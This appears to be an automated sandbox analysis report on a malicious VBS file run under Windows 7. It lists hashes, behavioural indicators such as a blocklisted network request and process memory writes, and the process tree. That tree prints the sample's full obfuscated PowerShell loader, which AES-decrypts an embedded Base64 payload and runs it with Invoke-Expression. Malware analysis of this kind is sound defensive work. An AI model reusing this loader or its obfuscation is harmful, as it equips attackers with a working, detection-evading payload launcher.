Analysis
-
max time kernel
121s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
27-07-2024 01:27
Static task
static1
Behavioral task
behavioral1
Sample
63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29.vbs
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29.vbs
Resource
win10v2004-20240704-en
General
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Target
63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29.vbs
-
Size
404KB
-
MD5
91143de27aed4b3ae7741994bc065faa
-
SHA1
85dfa644d5397b58383c94a4a898484a7fa5b8ce
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SHA256
63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29
-
SHA512
e8cadd0faab189cf64253d2d7eaea5485224db55958a842917696f418e8f1d18349ed8f6f6bf1bc916d646e3baaa7e50c06f86094e30f30c619f3975473d22b2
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SSDEEP
3072:3HGOwf9YFlhNe4VTdRnTT8w4TWlrqivBgoWpuV3d/S7GpqrsomlkjiveR4nV:Zwf9YFJrqA
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 2 2764 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2764 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2764 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 2516 wrote to memory of 2764 2516 WScript.exe powershell.exe PID 2516 wrote to memory of 2764 2516 WScript.exe powershell.exe PID 2516 wrote to memory of 2764 2516 WScript.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2764